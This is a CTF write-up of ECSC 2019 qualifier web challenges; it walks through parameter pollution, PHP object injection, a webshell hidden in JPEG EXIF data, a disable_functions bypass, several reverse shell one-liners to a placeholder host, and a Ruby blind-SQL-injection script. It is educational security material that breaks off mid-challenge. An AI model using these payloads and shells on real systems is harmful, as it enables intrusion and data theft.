CTF
Name : ECSC 2019 Quals Team France
Website : www.ecsc-teamfrance.fr
Type : Online
Format : Jeopardy (individual)
This is more my thoughts proceedings, than a concise write-up.
124 - PHP Sandbox - Web
À vous de trouver les bons arguments pour lui parler.
http://challenges.ecsc-teamfrance.fr:8000/
http://challenges.ecsc-teamfrance.fr:8000/index.php?assert=noraj
=> Command arguments not found!
=> I guess it is not the right argument
http://challenges.ecsc-teamfrance.fr:8000/index.php?args=noraj
=> Only 'cat <file>' command allowed
=> so there is command execution, the right argument but wrong value
http://challenges.ecsc-teamfrance.fr:8000/index.php?args=cat%20/etc/passwd
=> preg_match() has just detected invalid characters! ¯\_(ツ)_/¯
=> this will be about bypassing character filter
With fuzzing I found allowed char: .
(dot), /
(slash), _
(underscore), |
(pipe)
As we can't use space we can split the parameters by using HPP (HTTP Parameter pollution).
Note : Beginners, you can read Testing for HTTP Parameter pollution (OTG-INPVAL-004) from OWASP.
So with HPP let's read the source code:
http://challenges.ecsc-teamfrance.fr:8000/index.php?args[1]=cat&args[2]=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if (isset ($_GET ['args' ])){ if (!is_array ($_GET ['args' ])){ $args = array (); $args [] = $_GET ['args' ]; } else { $args = $_GET ['args' ]; } for ( $i =0 ; $i <count ($args ); $i ++ ){ if (!preg_match ('/^[\w\/|\.]*$/' , $args [$i ])){ die ('<b>preg_match() has just detected invalid characters! ¯\_(ツ)_/¯</b>' ); } } } else { die ('<b>Command arguments not found!</b>' ); } $command = implode (" " , $args ); if (preg_match ('/^(\/bin\/cat|cat) +[\w\.\/]*$/' ,$command )){ echo passthru ($command . " 2>&1" ); } else { echo 'Only \'cat <file>\' command allowed' ; }
A suspicious base64 HTML comment:
1 2 $ printf %s 'L2hvbWUvZmxhZy50eHQ=' | base64 -d /home/flag.txt
Ok the flag is stored here:
index.php?args[1]=cat&args[2]=/home/flag.txt
=> ECSC{ae822cf59d26401b64f20ee9af8fd4cf31da79ab}
164 - Jack The Ripper - Web
Connectez-vous à l'adresse http://challenges.ecsc-teamfrance.fr:8002
Let's see the piece of code in index.php
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (isset ($_COOKIE ['user' ])) $u = unserialize ($_COOKIE ['user' ]);else $u = new User ();if (isset ($_POST ['login' ], $_POST ['password' ])) { if ($u ->login ($_POST ['login' ], $_POST ['password' ])) { setcookie ('user' , serialize ($u )); presult ('Hello ' .htmlspecialchars ($u ->username).', here is your flag: ' .file_get_contents ('includes/__flag' )); } else { presult ('Invalid login/password combination' ); } }
We can immediately see the un-secure un-serialize for the cooke user
.
Now take a look at core.class.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 class Core { public function __construct ($debug = False ) { $this ->debug = $debug ; $this ->con = NULL ; $this ->setupDB (); } public function doUserLogin ($login , $password ) { if (is_null ($this ->con)) return NULL ; $pLogin = $this ->con->escapeString ($login ); $q = $this ->con->query ("SELECT id, login, password FROM users WHERE login='{$pLogin} '" ); if (!$q ) $row = False; else $row = $q ->fetchArray (); if ($row ===FALSE || $q ->fetchArray ()!==FALSE ) return NULL ; if ($this ->debug) { echo 'Found user record:' ; var_dump ($row ); } return (md5 ($password )==$row ['password' ]) ? $row : NULL ; }
We can see the debug feature that is disabled in the code that could leak information, we'll try later to enable it back with a crafted serialized payload.
The password is not checked in the SQL query directly, instead the check is done after the entries are fetch so just giving a valid username will let us get the password hash in the debug data.
Let's make a local PoC to craft the serialized object.
Create a void database:
1 2 3 4 $ sqlite3 tmp/jtr.db SQLite version 3.28.0 2019-04-16 19:49:53 Enter ".help" for usage hints. sqlite> CREATE TABLE users(id INTEGER PRIMARY KEY, login TEXT NOT NULL, password TEXT NOT NULL);
Install dependencies for sqlite (ArchLinux):
sudo pacman -S php-sqlite
Configure PHP to enable sqlite connector:
/etc/php/php.ini
1 2 extension=pdo_sqlite extension=sqlite3
Quick PHP PoC:
1 2 3 4 5 6 7 8 <?php require 'user.class.php' ;$obj = new User ();$serialized = serialize ($obj );echo $serialized ;?>
Obtain a serialized object:
1 2 $ php unserialize.php O:4:"User":2:{s:4:"core";O:4:"Core":2:{s:5:"debug";b:0;s:3:"con";O:7:"SQLite3":0:{}}s:8:"username";N;}
Set debug and set a user (admin):
O:4:"User":2:{s:4:"core";O:4:"Core":2:{s:5:"debug";b:1;s:3:"con";O:7:"SQLite3":0:{}}s:8:"username";s:5:"admin";}
URL-encode the serialized object and send it in the user cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST / HTTP/1.1 Host: challenges.ecsc-teamfrance.fr:8002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://challenges.ecsc-teamfrance.fr:8002/ Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: user=O%3a4%3a"User"%3a2%3a{s%3a4%3a"core"%3bO%3a4%3a"Core"%3a2%3a{s%3a5%3a"debug"%3bb%3a1%3bs%3a3%3a"con"%3bO%3a7%3a"SQLite3"%3a0%3a{}}s%3a8%3a"username"%3bs%3a5%3a"admin"%3b} Connection: close Upgrade-Insecure-Requests: 1 login=admin&password=pass
We obtain the debug data with the user's password hash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... Found user record:array(6) { [0]=> int(1) ["id"]=> int(1) [1]=> string(5) "admin" ["login"]=> string(5) "admin" [2]=> string(32) "34819d7beeabb9260a5c854bc85b3e44" ["password"]=> string(32) "34819d7beeabb9260a5c854bc85b3e44" } ...
Let's crack this md5 (32 char length so mostly it) hash on https://hashkiller.co.uk/Cracker/MD5
Result: 34819d7beeabb9260a5c854bc85b3e44 MD5 mypassword
Let's authenticate to get the flag:
1 2 $ curl -X POST challenges.ecsc-teamfrance.fr:8002 --data 'login=admin&password=mypassword' -s | grep ECSC <div class="result">Hello admin, here is your flag: ECSC{3ab6be9c0d274e7eeac6f20f4bee7d8b26303e44}
302 - Ceci n'est pas une pipe - Web
Ça se passe par ici : http://challenges.ecsc-teamfrance.fr:8001
This is about unsecure file upload.
We can use whatever we want as extension or MIME type but there is a server side check on the file type so we need to send an image.
If we concatenate a PHP web shell to an image and upload it, we can see the stored image was modified and the webshell removed.
So either it was converted with a library like ImageMagick or trailing data was removed by another means.
But sending a minimal JPEG header (ff d8 ff e0 0a
) + HTML content + PHP content, only the PHP content is removed so it may be a filtering regex with <?php
, but <?=
is removed too.
<script language="php">
is not removed but didn't work (it was removed in PHP 7.0.0).
But if PHP code is embedded inside a valid EXIF property, it seems kept.
Let's craft a PHP wbeshell:
1 $ weevely generate norajpass agent.php
So we get a weevely agent like that:
1 2 3 4 5 6 7 8 9 10 11 <?php $Y ='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma' ;$o ='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}' ;$n ='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts' ;$b ='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b' ;$v =str_replace ('el' ,'' ,'creleaelelte_felunceltielon' );$e ='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev' ;$A ='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor(' ;$D =str_replace ('^b' ,'' ,$b .$A .$Y .$e .$n .$o );$K =$v ('' ,$D );$K ();?>
Let's one-line it:
1 2 $ cat agent.php| tr '\n' ' ' <?php $Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma'; $o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}'; $n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts'; $b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b'; $v=str_replace('el','','creleaelelte_felunceltielon'); $e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev'; $A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor('; $D=str_replace('^b','',$b.$A.$Y.$e.$n.$o); $K=$v('',$D);$K(); ?>
Let's add the agent in an EXIF property of the image:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 $ exiftool -documentname="$(cat agent.php| tr '\n' ' ')" exploit.jpg 1 image files updated $ exiftool exploit.jpg ExifTool Version Number : 11.30 File Name : exploit.jpg Directory : . File Size : 5.4 kB File Modification Date/Time : 2019:05:19 00:28:52+02:00 File Access Date/Time : 2019:05:19 00:28:52+02:00 File Inode Change Date/Time : 2019:05:19 00:28:52+02:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Big-endian (Motorola, MM) Document Name : <?php $Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma'; $o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}'; $n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts'; $b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b'; $v=str_replace('el','','creleaelelte_felunceltielon'); $e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev'; $A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor('; $D=str_replace('^b','',$b.$A.$Y.$e.$n.$o); $K=$v('',$D);$K(); ?> X Resolution : 38 Y Resolution : 38 Resolution Unit : cm Y Cb Cr Positioning : Centered Image Width : 256 Image Height : 256 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 256x256 Megapixels : 0.066
So we can upload the webshell with a .php
extension and application/x-php
as MIME type.
But it fails, maybe the webshell is too exotic.
Let's try something simpler just for confirmation:
1 2 $ exiftool -documentname='<?php echo str_repeat("-=", 10); ?>' exploit.jp 1 image files updated
I can see the code executed:
But when using shell_exec
or system
I get nothing, they must be filtered (so it was not <?php
that was).
exiftool -documentname='<?php print_r(scandir(".")); ?>' exploit.jpg
works but nothing interesting in the current directory.
But print_r(scandir("."));
is blocked (may be by a restrictive open_basedir
).
Anyway I should have tried it first: phpinfo();
Disabled functions are:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 create_function curl_exec curl_multi_exec exec imap_open parse_ini_file passthru pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig popen preg_replace preg_replace_callback proc_open shell_exec show_source system
And open_basedir
is /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e:/usr/share/php/chall:/tmp
.
Let's try to use backticks:
1 2 $ exiftool -documentname='<?php $a=$_GET["cmd"];echo `$a`; ?>' exploit.jpg 1 image files updated
Doesn't work either.
get_defined_functions list all internal and user defined functions available.
So I tried with Chankro that use LD_PRELOAD
to bypass disable_functions
and open_basedir
.
Seems 100% the right way in this case.
1 2 3 4 5 6 7 8 9 10 11 12 13 $ chankro --arch 64 --input /tmp/script.sh --output chankro.php --path /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e -=[ Chankro ]=- -={ @TheXC3LL }=- [+] Binary file: /tmp/script.sh [+] Architecture: x64 [+] Final PHP: chank.php [+] File created!
Let's read some files:
/usr/share/php/chall/prepend.php
: <?php ini_set('open_basedir', dirname($_SERVER['SCRIPT_FILENAME']) . ':/usr/share/php/chall:/tmp');
/tmp/myprepend.php
: <?php echo "ok"; ini_set("open_basedir","/var/www"); ?>
Let's try some stuff (and fail):
1 2 3 <?php echo "start" ; ini_set ("open_basedir" ,dirname ($_SERVER ["SCRIPT_FILENAME" ]) . "/var/www" ); print_r (scandir ("/var/www" )); print_r (scandir ("/var/www/html" )); echo "end" ; ?> <?php echo "start" ; ini_set ("display_errors" , "1" ); ini_set ("disable_functions" ,"" ); ini_set ("open_basedir" , NULL ); echo shell_exec ("id" ); echo "end" ; ?> <?php echo "start" ; ini_set ("display_errors" , "1" ); ini_set ("open_basedir" , NULL ); print_r (scandir ("/var/www/html" )); echo "end" ; ?>
Let's get back to Chankro and embedded the payload in EXIF metadata:
1 exiftool -documentname="$(cat chankro.php| tr '\n' ' ')" exploit.jpg
=> Chankro => manual edit to add ini_set("display_errors", "1");
=> Upload => Exec => no error display, so it is actually executed but we don't have the output, so let's copy files in the upload folder instead.
The script paylaod for Chankro:
1 2 3 #!/bin/sh cp /etc/passwd /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/ ls -lhAR /var/www > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listdir.txt
=> Chankro => Exiftool => Upload => Exec => listing the upload folder (with a previous scandir payload) and listdir.txt
and passwd
are here.
Let's see the files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 /var/www: total 8.0K drwxr-xr-x 1 root root 4.0K May 18 09:39 html /var/www/html: total 56K -r--r--r-- 1 root root 0 May 18 09:39 .htaccess -rwxr-xr-x 1 root root 268 May 18 09:39 config.php -rwxr-xr-x 1 root root 9.0K May 18 09:39 index.php -rwxr-xr-x 1 root root 4.9K May 18 09:39 login.php -rwxr-xr-x 1 root root 5.7K May 18 09:39 register.php -rwxr-xr-x 1 root root 26 May 18 09:39 robots.txt drwxr-xr-x 1 root root 4.0K May 18 09:39 static -rwxr-xr-x 1 root root 97 May 18 09:39 todo.php drwx-wx-wx 1 root root 12K May 19 19:57 upload /var/www/html/static: total 8.0K drwxr-xr-x 1 root root 4.0K May 18 09:39 css drwxr-xr-x 1 root root 4.0K May 18 09:39 js /var/www/html/static/css: total 120K -rwxr-xr-x 1 root root 119K May 18 09:39 bootstrap.min.css /var/www/html/static/js: total 128K -rwxr-xr-x 1 root root 37K May 18 09:39 bootstrap.min.js -rwxr-xr-x 1 root root 85K May 18 09:39 jquery.min.js root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false
Let's copy more files!
1 2 3 4 #!/bin/sh cp /var/www/html/.htaccess /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/ cp /var/www/html/config.php /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/ cp /var/www/html/todo.php /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
Still the same method:
=> Chankro => Exiftool => Upload => Exec => highlight_file
on the copied files:
1 exiftool -documentname='<?php highlight_file(".htaccess"); highlight_file("config.php"); highlight_file("todo.php"); ?>' exploit.jpg
config.php
and todo.php
1 2 3 4 5 6 7 8 9 10 11 <?php define ('DB_SERVER' , 'mariadb' );define ('DB_USERNAME' , 'notes' );define ('DB_PASSWORD' , 'N9mpnvEyTtaGxfsznEBh' );define ('DB_NAME' , 'notes' ); ?> -rwxr-xr-x 1 root root 16464 janv. 13 2018 /usr/sbin/sendmail
(sendmail
for Chankro with mail())
Let's try to localize the flag:
1 2 #!/bin/sh grep -ri ecsc /var/www/ > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/flag.txt
=> Chankro => Exiftool => Upload => Exec => highlight_file
=> nothing :(
Grrr, try to get the whole web server repository:
1 2 3 #!/bin/sh tar cf /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/html.tar /var/www/html/ cp -r /var/www/html /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
http://challenges.ecsc-teamfrance.fr:8001//upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/html.tar
Stop fooling me around!!!!! Time to reverse shell! (or try to)
Basic bash reverse shell: bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
1 2 #!/bin/sh bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
Obviously blocked !
Try to localize the flag again:
1 2 #!/bin/sh ls -lhRA /home > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listing2.txt
http://challenges.ecsc-teamfrance.fr:8001/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listing2.txt
1 2 3 /home: total 12K --wx--x--x 1 root root 8.2K May 18 09:39 flag
Nahhhhhhhhhh ! No way!!!! It's not the end, it's an executable we can't read it.
(From that point I could have executed the binary and redirect the output in a file but I really wanted a reverse shell).
More reverse shell tries:
1 2 #!/bin/sh php -r '$sock=fsockopen("x.x.x.x",53333);exec("/bin/sh -i <&3 >&3 2>&3");'
I was stupid because the script was containing exec
but fsockopen
worked and I received the conection:
1 2 $ nc -vnlp 53333 Connection from 51.91.7.35:55744
Let's look at https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md
1 2 #!/bin/sh 0<&196;exec 196<>/dev/tcp/x.x.x.x/53333; sh <&196 >&196 2>&196
Whyyyyyyyyy now I'm not getting a shell? It works if I try it from my machine.
Let's try another!
1 2 #!/bin/sh exec /bin/sh 0</dev/tcp/x.x.x.x/53333 1>&0 2>&0
(Probably because on Debian 9 sh is a symbolic link to dash)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/usr/bin/awk -f BEGIN { s = "/inet/tcp/0/x.x.x.x/53333" while(42) { do{ printf "shell>" |& s s |& getline c if(c){ while ((c |& getline) > 0) print $0 |& s close(c) } } while(c != "exit") close(s) } }
Still nop!
1 2 3 #!/bin/sh ls -lh /bin > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/bin.txtls -lh /usr/bin >> /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/bin.txt
That way I saw perl is here! So let's use a /bin/sh-independant version of a perl reverse shell with fork (source ):
1 2 #!/bin/sh perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:53333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Yes!!!!!!!!!!!!!!! I got a reverse shell! Even if not required for this challenge!!!
Now let's find our way /home
! (I kinda like this joke)
Using ps
I see I'm the only one having a reverse shell! (or I think so)
1 2 3 4 5 6 7 $ ls -l /home total 12 --wx--x--x 1 root root 8296 May 18 09:39 flag $ /home/flag ECSC{f12d9ff3a017065d4d363cea148bef8bfffacc31} $ file /home/flag /home/flag: executable, regular file, no read permission
What a story! It wasn't realistic to put the flag in /home
since you can see in /etc/passwd
there is no users... anyway that's CTF.
150 - Scully (1) - Web
Notre développeur web n'est pas très doué en matière de sécurité... saurez-vous afficher le flag afin que nous puissions lui montrer qu'il faut faire des efforts ?
Le challenge est disponible à l'adresse http://challenges.ecsc-teamfrance.fr:8003
Aucun bruteforce n'est nécessaire
There is a script: http://challenges.ecsc-teamfrance.fr:8003/static/script.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function login ( ){ var username = document .getElementById ("username" ).value ; var password = document .getElementById ("password" ).value ; var dat = {'username' :username, 'password' :password}; $.ajax ('/api/v1/login/' ,{ method : 'POST' , data : JSON .stringify (dat), dataType : "json" , contentType : "application/json" , }).done (function (res ){ if (res['status' ] == 'success' ){ $("#stat" ).html ('<b>Successful Login. Here is your flag: ' ); $("#stat" ).append (res['flag' ]); $("#stat" ).append ('</b>' ); } else { $("#stat" ).html ('<b>Login Failed</b>' ); } }).fail (function (err ){ $("#stat" ).html (err); }); } $(document ).ready (function ( ){ $("#navbar ul li a" ).on ('click' , function (event ){ event.preventDefault (); var page = $(this ).attr ("href" ); $("#main" ).load (page); }); });
The JSON auth let me think about NoSQLi: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection
So let's try to send {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
but I get an error:
Same with {"username": "admin", "password": {"$ne": "bar"}}
.
1 'dict' object has no attribute 'encode'
Let's see if it is the password of the account with a blind NoSQL injection.
But no way, you always have this message even with invalid credentials, injection of nested JSON structure just made the JSON parser on the server crash so let's try the basic SQLi:
{"username": "admin' OR 1=1-- -", "password": "pass"}
=> {"flag":["ECSC{889b71de2017ca8074f49d3f853950e147591b38}"],"status":"success"}
Too EZ, I should have tried it first.
355 - Scully (2) - Web
Notre developpeur web a fait quelques efforts sur la partie authentification et les informations de la base ne sont plus exposées directement sur la page d'accueil ! Cependant il > semblerait que cela ne soit pas suffisant... saurez-vous retrouver le flag ?
Le challenge est disponible à l'adresse http://challenges.ecsc-teamfrance.fr:8004
Toutes les connexions sont journalisées et l'utilisation d'un outil tel que sqlmap, générant un très grand nombre de connexions, pourrait être considéré comme un abus et faire l'objet de sanctions.
Same as before but without direct output, so let's go with Inferential SQLi also known as Blind SQLi .
We can do a simple Boolean-based Blind SQLi :
{"username":"admin' and 1=1-- -","password":"noraj"}
=> {"status":"success"}
{"username":"admin' and 1=7-- -","password":"noraj"}
=> {"status":"fail"}
1 curl -X $'POST' -H 'Content-Type: application/json' --data $'{\"username\":\"admin\' and 1=7-- -\",\"password\":\"noraj\"}' 'http://challenges.ecsc-teamfrance.fr:8004/api/v1/login/'
I already did Boolean-based Blind SQL injection in the past with ruby + curb or ruby without external dependencies . As I'm lazy I use SQLmap when I can but here it is forbidden.
{"username":"admin' UNION SELECT 1,1,name FROM sqlite_master WHERE type='table'-- -","password":"noraj"}
this payload works so we have an SQLite DB.
I should also have take a look at PayloadsAllTheThings for DBMS Identification.
More about SQLite injection https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md
The table name is nor user
nor users
so let's use SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
.
In fact no, let's be lazy and use more guessing {"username":"admin' UNION SELECT 1,1,flag FROM flag-- -","password":"noraj"}
=> success so the table and column are both flag
.
We can optimize the time to get the password because we know that the flag is ECSC{sha1(string)} and sha1 hashes contains only lower letters and digits (hex charset) that is 40 chars long.
My awesome ruby (everybody prefers jewels than snake) script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 require 'net/http' require 'json' uri = URI ('http://challenges.ecsc-teamfrance.fr:8003/api/v1/login/' ) req = Net::HTTP::Post .new(uri.path, initheader = {'Content-Type' =>'application/json' }) http = Net::HTTP .new(uri.host, uri.port) <<-DOC Check is the payload expression is true or false. DOC def check_expression (uri, http, req, payload ) req.body = {'username' => payload, 'password' => 'noraj' }.to_json res = http.request(req) return /success/.match?(res.body) end <<-DOC Get the length of the string. There is two level of increment: 10 by 10 (to be faster) and then 1 by 1 (to get the exact size). DOC def get_length (uri, http, req, payload ) i = 10 while true if check_expression(uri, http, req, payload % i) (i-10 ..i).each do |j | if check_expression(uri, http, req, payload % j) return j-1 end end end i += 10 end end <<-DOC DOC def read_string (uri, http, req, length, wanted ) content = "" ecsc_flag_charset = ["a" , "b" , "c" , "d" , "e" , "f" , "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , "E" , "C" , "S" , "{" , "}" ] puts "Beginning to retrive content" while content.length < length ecsc_flag_charset.each do |c | tmp = content + c payload = "' or substr((SELECT #{wanted} FROM flag LIMIT 1), #{tmp.length} , 1) == \"#{tmp[tmp.length-1 ]} \"-- -" if check_expression(uri, http, req, payload) content += c puts content break elsif c == "\n" content += "*" end end end return content end payload = "admin' and length((SELECT flag FROM flag LIMIT 1)) < %i-- -" flag_length = get_length(uri, http, req, payload) puts "flag length: #{flag_length} " name = read_string(uri, http, req, flag_length, 'flag' ) puts 'Flag: ' .concat(name)
Exec time:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 $ ruby tmp/blind.rb flag length: 46 Beginning to retrive content E EC ECS ECSC ECSC{ ECSC{8 ECSC{88 ECSC{889 ECSC{889b ECSC{889b7 ECSC{889b71 ECSC{889b71d ECSC{889b71de ECSC{889b71de2 ECSC{889b71de20 ECSC{889b71de201 ECSC{889b71de2017 ECSC{889b71de2017c ECSC{889b71de2017ca ECSC{889b71de2017ca8 ECSC{889b71de2017ca80 ECSC{889b71de2017ca807 ECSC{889b71de2017ca8074 ECSC{889b71de2017ca8074f ECSC{889b71de2017ca8074f4 ECSC{889b71de2017ca8074f49 ECSC{889b71de2017ca8074f49d ECSC{889b71de2017ca8074f49d3 ECSC{889b71de2017ca8074f49d3f ECSC{889b71de2017ca8074f49d3f8 ECSC{889b71de2017ca8074f49d3f85 ECSC{889b71de2017ca8074f49d3f853 ECSC{889b71de2017ca8074f49d3f8539 ECSC{889b71de2017ca8074f49d3f85395 ECSC{889b71de2017ca8074f49d3f853950 ECSC{889b71de2017ca8074f49d3f853950e ECSC{889b71de2017ca8074f49d3f853950e1 ECSC{889b71de2017ca8074f49d3f853950e14 ECSC{889b71de2017ca8074f49d3f853950e147 ECSC{889b71de2017ca8074f49d3f853950e1475 ECSC{889b71de2017ca8074f49d3f853950e14759 ECSC{889b71de2017ca8074f49d3f853950e147591 ECSC{889b71de2017ca8074f49d3f853950e147591b ECSC{889b71de2017ca8074f49d3f853950e147591b3 ECSC{889b71de2017ca8074f49d3f853950e147591b38 ECSC{889b71de2017ca8074f49d3f853950e147591b38} Flag: ECSC{889b71de2017ca8074f49d3f853950e147591b38}
(Spoiler: at this point I didn't know I was still targeting port 8003 instead of 8004)
But that's Scully (1) flag, lel.
Instead of SELECT flag FROM flag LIMIT 1
I tried SELECT flag FROM flag LIMIT 1 OFFSET 1
and SELECT flag FROM flag WHERE flag NOT 'ECSC{889b71de2017ca8074f49d3f853950e147591b38}' LIMIT 1
without success.
Let's try to find another column:
